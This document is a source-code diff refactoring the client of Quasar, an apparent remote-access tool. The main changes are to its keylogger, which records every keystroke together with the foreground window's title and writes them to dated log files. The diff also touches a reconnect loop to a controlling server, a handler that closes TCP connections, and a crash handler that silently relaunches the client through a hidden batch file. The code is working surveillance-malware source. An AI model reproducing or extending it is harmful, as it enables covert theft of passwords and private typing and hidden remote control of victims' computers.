@@ -65,53 +97,59 @@ public void Dispose()
protected virtual void Dispose(bool disposing)
{
- if (!IsDisposed)
+ if (IsDisposed)
+ return;
+
+ if (disposing)
{
- if (disposing)
- {
- if (_timerFlush != null)
- {
- _timerFlush.Stop();
- _timerFlush.Dispose();
- }
- }
-
Unsubscribe();
-
- IsDisposed = true;
+ _timerFlush.Stop();
+ _timerFlush.Dispose();
+ _mEvents.Dispose();
}
+
+ IsDisposed = true;
}
- private void Subscribe(IKeyboardMouseEvents events)
+ ///
+ /// Subscribes to all key events.
+ ///
+ private void Subscribe()
{
- _mEvents = events;
_mEvents.KeyDown += OnKeyDown;
_mEvents.KeyUp += OnKeyUp;
_mEvents.KeyPress += OnKeyPress;
}
+ ///
+ /// Unsubscribes from all key events.
+ ///
private void Unsubscribe()
{
- if (_mEvents == null) return;
_mEvents.KeyDown -= OnKeyDown;
_mEvents.KeyUp -= OnKeyUp;
_mEvents.KeyPress -= OnKeyPress;
- _mEvents.Dispose();
}
- private void OnKeyDown(object sender, KeyEventArgs e) //Called first
+ ///
+ /// Initial handling of the key down events and updates the window title.
+ ///
+ /// The sender of the event.
+ /// The key event args, e.g. the keycode.
+ /// This event handler is called first.
+ private void OnKeyDown(object sender, KeyEventArgs e)
{
- string activeWindowTitle = KeyloggerHelper.GetActiveWindowTitle(); //Get active thread window title
+ string activeWindowTitle = NativeMethodsHelper.GetForegroundWindowTitle();
if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle)
{
_lastWindowTitle = activeWindowTitle;
_logFileBuffer.Append(@"
["
- + KeyloggerHelper.Filter(activeWindowTitle) + " - "
+ + HttpUtility.HtmlEncode(activeWindowTitle) + " - "
+ DateTime.Now.ToString("HH:mm")
+ "]
");
}
- if (_pressedKeys.IsModifierKeysSet())
+ if (_pressedKeys.ContainsModifierKeys())
{
if (!_pressedKeys.Contains(e.KeyCode))
{
@@ -133,19 +171,24 @@ private void Unsubscribe()
}
}
- //This method should be used to process all of our unicode characters
- private void OnKeyPress(object sender, KeyPressEventArgs e) //Called second
+ ///
+ /// Processes pressed keys and appends them to the . Processing of Unicode characters starts here.
+ ///
+ /// The sender of the event.
+ /// The key press event args, especially the pressed KeyChar.
+ /// This event handler is called second.
+ private void OnKeyPress(object sender, KeyPressEventArgs e)
{
- if (_pressedKeys.IsModifierKeysSet() && _pressedKeys.ContainsKeyChar(e.KeyChar))
+ if (_pressedKeys.ContainsModifierKeys() && _pressedKeys.ContainsKeyChar(e.KeyChar))
return;
- if ((!_pressedKeyChars.Contains(e.KeyChar) || !KeyloggerHelper.DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar))
+ if ((!_pressedKeyChars.Contains(e.KeyChar) || !DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar))
{
- var filtered = KeyloggerHelper.Filter(e.KeyChar);
+ var filtered = HttpUtility.HtmlEncode(e.KeyChar.ToString());
if (!string.IsNullOrEmpty(filtered))
{
Debug.WriteLine("OnKeyPress Output: " + filtered);
- if (_pressedKeys.IsModifierKeysSet())
+ if (_pressedKeys.ContainsModifierKeys())
_ignoreSpecialKeys = true;
_pressedKeyChars.Add(e.KeyChar);
@@ -154,12 +197,34 @@ private void Unsubscribe()
}
}
- private void OnKeyUp(object sender, KeyEventArgs e) //Called third
+ ///
+ /// Finishes processing of the keys.
+ ///
+ /// The sender of the event.
+ /// The key event args.
+ /// This event handler is called third.
+ private void OnKeyUp(object sender, KeyEventArgs e)
{
_logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray()));
_pressedKeyChars.Clear();
}
+ ///
+ /// Finds a held down key char in a given key char list.
+ ///
+ /// The list of key chars.
+ /// The key char to search for.
+ /// True if the list contains the key char, else false.
+ private bool DetectKeyHolding(List list, char search)
+ {
+ return list.FindAll(s => s.Equals(search)).Count > 1;
+ }
+
+ ///
+ /// Adds special highlighting in HTML to the special keys.
+ ///
+ /// The input keys.
+ /// The highlighted special keys.
private string HighlightSpecialKeys(Keys[] keys)
{
if (keys.Length < 1) return string.Empty;
@@ -169,7 +234,7 @@ private string HighlightSpecialKeys(Keys[] keys)
{
if (!_ignoreSpecialKeys)
{
- names[i] = KeyloggerHelper.GetDisplayName(keys[i]);
+ names[i] = keys[i].GetDisplayName();
Debug.WriteLine("HighlightSpecialKeys: " + keys[i] + " : " + names[i]);
}
else
@@ -181,7 +246,7 @@ private string HighlightSpecialKeys(Keys[] keys)
_ignoreSpecialKeys = false;
- if (_pressedKeys.IsModifierKeysSet())
+ if (_pressedKeys.ContainsModifierKeys())
{
StringBuilder specialKeys = new StringBuilder();
@@ -228,14 +293,18 @@ private string HighlightSpecialKeys(Keys[] keys)
return normalKeys.ToString();
}
- private void timerFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
+ private void TimerElapsed(object sender, System.Timers.ElapsedEventArgs e)
{
if (_logFileBuffer.Length > 0)
WriteFile();
}
+ ///
+ /// Writes the logged keys from memory to disk.
+ ///
private void WriteFile()
{
+ // TODO: large log files take a very long time to read, decrypt and append new logs to
bool writeHeader = false;
string filename = Path.Combine(Settings.LOGSPATH, DateTime.Now.ToString("MM-dd-yyyy"));
diff --git a/Quasar.Client/Logging/KeyloggerHelper.cs b/Quasar.Client/Logging/KeyloggerHelper.cs
deleted file mode 100644
index 70b741b6..00000000
--- a/Quasar.Client/Logging/KeyloggerHelper.cs
+++ /dev/null
@@ -1,110 +0,0 @@
-using System.Collections.Generic;
-using System.Windows.Forms;
-using Quasar.Client.Helper;
-
-namespace Quasar.Client.Logging
-{
- public static class KeyloggerHelper
- {
- #region "Extension Methods"
- public static bool IsModifierKeysSet(this List pressedKeys)
- {
- return pressedKeys != null &&
- (pressedKeys.Contains(Keys.LControlKey)
- || pressedKeys.Contains(Keys.RControlKey)
- || pressedKeys.Contains(Keys.LMenu)
- || pressedKeys.Contains(Keys.RMenu)
- || pressedKeys.Contains(Keys.LWin)
- || pressedKeys.Contains(Keys.RWin)
- || pressedKeys.Contains(Keys.Control)
- || pressedKeys.Contains(Keys.Alt));
- }
-
- public static bool IsModifierKey(this Keys key)
- {
- return (key == Keys.LControlKey
- || key == Keys.RControlKey
- || key == Keys.LMenu
- || key == Keys.RMenu
- || key == Keys.LWin
- || key == Keys.RWin
- || key == Keys.Control
- || key == Keys.Alt);
- }
-
- public static bool ContainsKeyChar(this List pressedKeys, char c)
- {
- return pressedKeys.Contains((Keys)char.ToUpper(c));
- }
-
- public static bool IsExcludedKey(this Keys k)
- {
- // The keys below are excluded. If it is one of the keys below,
- // the KeyPress event will handle these characters. If the keys
- // are not any of those specified below, we can continue.
- return (k >= Keys.A && k <= Keys.Z
- || k >= Keys.NumPad0 && k <= Keys.Divide
- || k >= Keys.D0 && k <= Keys.D9
- || k >= Keys.Oem1 && k <= Keys.OemClear
- || k >= Keys.LShiftKey && k <= Keys.RShiftKey
- || k == Keys.CapsLock
- || k == Keys.Space);
- }
- #endregion
-
- public static bool DetectKeyHolding(List list, char search)
- {
- return list.FindAll(s => s.Equals(search)).Count > 1;
- }
-
- public static string Filter(char key)
- {
- if ((int)key < 32) return string.Empty;
-
- switch (key)
- {
- case '<':
- return "<";
- case '>':
- return ">";
- case '#':
- return "#";
- case '&':
- return "&";
- case '"':
- return """;
- case '\'':
- return "'";
- case ' ':
- return " ";
- }
- return key.ToString();
- }
-
- public static string Filter(string input)
- {
- return input.Replace("<", "<").Replace(">", ">").Replace("\"", """).Replace("'", "'");
- }
-
- public static string GetDisplayName(Keys key, bool altGr = false)
- {
- string name = key.ToString();
- if (name.Contains("ControlKey"))
- return "Control";
- else if (name.Contains("Menu"))
- return "Alt";
- else if (name.Contains("Win"))
- return "Win";
- else if (name.Contains("Shift"))
- return "Shift";
- return name;
- }
-
- public static string GetActiveWindowTitle()
- {
- string title = NativeMethodsHelper.GetForegroundWindowTitle();
-
- return (!string.IsNullOrEmpty(title)) ? title : null;
- }
- }
-}
diff --git a/Quasar.Client/Logging/KeyloggerService.cs b/Quasar.Client/Logging/KeyloggerService.cs
index 5dbb54b7..14d47049 100644
--- a/Quasar.Client/Logging/KeyloggerService.cs
+++ b/Quasar.Client/Logging/KeyloggerService.cs
@@ -4,23 +4,43 @@
namespace Quasar.Client.Logging
{
+ ///
+ /// Provides a service to run the keylogger.
+ ///
public class KeyloggerService : IDisposable
{
+ ///
+ /// The thread containing the executed keylogger and message loop.
+ ///
private readonly Thread _msgLoopThread;
+
+ ///
+ /// The message loop which is needed to receive key events.
+ ///
private ApplicationContext _msgLoop;
+
+ ///
+ /// Provides keylogging functionality.
+ ///
private Keylogger _keylogger;
+ ///
+ /// Initializes a new instance of .
+ ///
public KeyloggerService()
{
_msgLoopThread = new Thread(() =>
{
_msgLoop = new ApplicationContext();
_keylogger = new Keylogger(15000);
- _keylogger.StartLogging();
+ _keylogger.Start();
Application.Run(_msgLoop);
});
}
+ ///
+ /// Starts the keylogger and message loop.
+ ///
public void Start()
{
_msgLoopThread.Start();
diff --git a/Quasar.Client/Messages/TcpConnectionsHandler.cs b/Quasar.Client/Messages/TcpConnectionsHandler.cs
index 20e5cfaa..499678c7 100644
--- a/Quasar.Client/Messages/TcpConnectionsHandler.cs
+++ b/Quasar.Client/Messages/TcpConnectionsHandler.cs
@@ -74,11 +74,12 @@ private void Execute(ISender client, DoCloseConnection message)
message.RemotePort == table[i].RemotePort)
{
// it will close the connection only if client run as admin
- //table[i].state = (byte)ConnectionStates.Delete_TCB;
- table[i].state = 12; // 12 for Delete_TCB state
+ table[i].state = (byte) ConnectionState.Delete_TCB;
var ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(table[i]));
Marshal.StructureToPtr(table[i], ptr, false);
NativeMethods.SetTcpEntry(ptr);
+ Execute(client, new GetConnections());
+ return;
}
}
}
@@ -88,11 +89,12 @@ private NativeMethods.MibTcprowOwnerPid[] GetTable()
NativeMethods.MibTcprowOwnerPid[] tTable;
var afInet = 2;
var buffSize = 0;
- var ret = NativeMethods.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
+ // retrieve correct pTcpTable size
+ NativeMethods.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
var buffTable = Marshal.AllocHGlobal(buffSize);
try
{
- ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
+ var ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
if (ret != 0)
return null;
var tab = (NativeMethods.MibTcptableOwnerPid)Marshal.PtrToStructure(buffTable, typeof(NativeMethods.MibTcptableOwnerPid));
diff --git a/Quasar.Client/Networking/QuasarClient.cs b/Quasar.Client/Networking/QuasarClient.cs
index c5bc975d..03940ed2 100644
--- a/Quasar.Client/Networking/QuasarClient.cs
+++ b/Quasar.Client/Networking/QuasarClient.cs
@@ -14,16 +14,38 @@
namespace Quasar.Client.Networking
{
- public class QuasarClient : Client
+ public class QuasarClient : Client, IDisposable
{
///
- /// When Exiting is true, stop all running threads and exit.
+ /// Used to keep track if the client has been identified by the server.
+ ///
+ private bool _identified;
+
+ ///
+ /// The hosts manager which contains the available hosts to connect to.
///
- public bool Exiting { get; private set; }
- public bool Identified { get; private set; }
private readonly HostsManager _hosts;
+
+ ///
+ /// Random number generator to slightly randomize the reconnection delay.
+ ///
private readonly SafeRandom _random;
+ ///
+ /// Create a and signals cancellation.
+ ///
+ private readonly CancellationTokenSource _tokenSource;
+
+ ///
+ /// The token to check for cancellation.
+ ///
+ private readonly CancellationToken _token;
+
+ ///
+ /// Initializes a new instance of the class.
+ ///
+ /// The hosts manager which contains the available hosts to connect to.
+ /// The server certificate.
public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate)
: base(serverCertificate)
{
@@ -32,12 +54,17 @@ public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificat
base.ClientState += OnClientState;
base.ClientRead += OnClientRead;
base.ClientFail += OnClientFail;
+ this._tokenSource = new CancellationTokenSource();
+ this._token = _tokenSource.Token;
}
+ ///
+ /// Connection loop used to reconnect and keep the connection open.
+ ///
public void ConnectLoop()
{
// TODO: do not re-use object
- while (!Exiting) // Main Connect Loop
+ while (!_token.IsCancellationRequested)
{
if (!Connected)
{
@@ -48,10 +75,10 @@ public void ConnectLoop()
while (Connected) // hold client open
{
- Thread.Sleep(1000);
+ _token.WaitHandle.WaitOne(1000);
}
- if (Exiting)
+ if (_token.IsCancellationRequested)
{
Disconnect();
return;
@@ -63,12 +90,12 @@ public void ConnectLoop()
private void OnClientRead(Client client, IMessage message, int messageLength)
{
- if (!Identified)
+ if (!_identified)
{
if (message.GetType() == typeof(ClientIdentificationResult))
{
var reply = (ClientIdentificationResult) message;
- Identified = reply.Result;
+ _identified = reply.Result;
}
return;
}
@@ -84,7 +111,7 @@ private void OnClientFail(Client client, Exception ex)
private void OnClientState(Client client, bool connected)
{
- Identified = false; // always reset identification
+ _identified = false; // always reset identification
if (connected)
{
@@ -111,10 +138,31 @@ private void OnClientState(Client client, bool connected)
}
}
+ ///
+ /// Stops the connection loop and disconnects the connection.
+ ///
public void Exit()
{
- Exiting = true;
+ _tokenSource.Cancel();
Disconnect();
}
+
+ ///
+ /// Disposes all managed and unmanaged resources associated with this activity detection service.
+ ///
+ public void Dispose()
+ {
+ Dispose(true);
+ GC.SuppressFinalize(this);
+ }
+
+ protected virtual void Dispose(bool disposing)
+ {
+ if (disposing)
+ {
+ _tokenSource.Cancel();
+ _tokenSource.Dispose();
+ }
+ }
}
}
diff --git a/Quasar.Client/Quasar.Client.csproj b/Quasar.Client/Quasar.Client.csproj
index c669137e..f6a7727f 100644
--- a/Quasar.Client/Quasar.Client.csproj
+++ b/Quasar.Client/Quasar.Client.csproj
@@ -30,6 +30,7 @@
+
diff --git a/Quasar.Client/QuasarApplication.cs b/Quasar.Client/QuasarApplication.cs
index 309a16e0..0a3b8948 100644
--- a/Quasar.Client/QuasarApplication.cs
+++ b/Quasar.Client/QuasarApplication.cs
@@ -29,7 +29,7 @@ public class QuasarApplication : IDisposable
///
/// The client used for the connection to the server.
///
- public QuasarClient ConnectClient;
+ private QuasarClient _connectClient;
///
/// List of to keep track of all used message processors.
@@ -110,13 +110,13 @@ public void Run()
}
var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
- ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
- InitializeMessageProcessors(ConnectClient);
+ _connectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
+ InitializeMessageProcessors(_connectClient);
- _userActivityDetection = new ActivityDetection(ConnectClient);
+ _userActivityDetection = new ActivityDetection(_connectClient);
_userActivityDetection.Start();
- ConnectClient.ConnectLoop();
+ _connectClient.ConnectLoop();
}
}
@@ -130,17 +130,26 @@ private static void HandleUnhandledException(object sender, UnhandledExceptionEv
if (e.IsTerminating)
{
Debug.WriteLine(e);
- string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath);
- if (string.IsNullOrEmpty(batchFile)) return;
-
- ProcessStartInfo startInfo = new ProcessStartInfo
+ try
{
- WindowStyle = ProcessWindowStyle.Hidden,
- UseShellExecute = true,
- FileName = batchFile
- };
- Process.Start(startInfo);
- Environment.Exit(0);
+ string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath);
+
+ ProcessStartInfo startInfo = new ProcessStartInfo
+ {
+ WindowStyle = ProcessWindowStyle.Hidden,
+ UseShellExecute = true,
+ FileName = batchFile
+ };
+ Process.Start(startInfo);
+ }
+ catch (Exception exception)
+ {
+ Debug.WriteLine(exception);
+ }
+ finally
+ {
+ Environment.Exit(0);
+ }
}
}
@@ -204,6 +213,7 @@ protected virtual void Dispose(bool disposing)
_keyloggerService?.Dispose();
_userActivityDetection?.Dispose();
ApplicationMutex.Dispose();
+ _connectClient.Dispose();
}
}
}
diff --git a/Quasar.Client/Registry/RegistryEditor.cs b/Quasar.Client/Registry/RegistryEditor.cs
index 8a671170..0cf4272d 100644
--- a/Quasar.Client/Registry/RegistryEditor.cs
+++ b/Quasar.Client/Registry/RegistryEditor.cs
@@ -1,28 +1,19 @@
-using System;
-using Microsoft.Win32;
+using Microsoft.Win32;
using Quasar.Client.Extensions;
using Quasar.Client.Helper;
using Quasar.Common.Models;
+using System;
namespace Quasar.Client.Registry
{
public class RegistryEditor
{
-
- #region CONSTANTS
-
- #region RegistryKey
-
private const string REGISTRY_KEY_CREATE_ERROR = "Cannot create key: Error writing to the registry";
private const string REGISTRY_KEY_DELETE_ERROR = "Cannot delete key: Error writing to the registry";
private const string REGISTRY_KEY_RENAME_ERROR = "Cannot rename key: Error writing to the registry";
- #endregion
-
- #region RegistryValue
-
private const string REGISTRY_VALUE_CREATE_ERROR = "Cannot create value: Error writing to the registry";
private const string REGISTRY_VALUE_DELETE_ERROR = "Cannot delete value: Error writing to the registry";
@@ -31,17 +22,12 @@ public class RegistryEditor
private const string REGISTRY_VALUE_CHANGE_ERROR = "Cannot change value: Error writing to the registry";
- #endregion
-
- #endregion
-
- #region RegistryKey
///
/// Attempts to create the desired sub key to the specified parent.
///
/// The path to the parent for which to create the sub-key on.
/// output parameter that holds the name of the sub-key that was create.
- /// output parameter that contians possible error message.
+ /// output parameter that contains possible error message.
/// Returns true if action succeeded.
public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg)
{
@@ -96,7 +82,7 @@ public static bool CreateRegistryKey(string parentPath, out string name, out str
///
/// The name of the sub-key to delete.
/// The path to the parent for which to delete the sub-key on.
- /// output parameter that contians possible error message.
+ /// output parameter that contains possible error message.
/// Returns true if the operation succeeded.
public static bool DeleteRegistryKey(string name, string parentPath, out string errorMsg)
{
@@ -145,7 +131,7 @@ public static bool DeleteRegistryKey(string name, string parentPath, out string
/// The name of the key to rename.
/// The name to use for renaming.
/// The path of the parent for which to rename the key.
- /// output parameter that contians possible error message.
+ /// output parameter that contains possible error message.
/// Returns true if the operation succeeded.
public static bool RenameRegistryKey(string oldName, string newName, string parentPath, out string errorMsg)
{
@@ -189,17 +175,13 @@ public static bool RenameRegistryKey(string oldName, string newName, string pare
}
}
- #endregion
-
- #region RegistryValue
-
///
/// Attempts to create the desired value for the specified parent.
///
/// The path to the key for which to create the registry value on.
/// The type of the registry value to create.
/// output parameter that holds the name of the registry value that was create.
- /// output parameter that contians possible error message.
+ /// output parameter that contains possible error message.
/// Returns true if the operation succeeded.
public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, out string name, out string errorMsg)
{
@@ -252,7 +234,7 @@ public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, o
///
///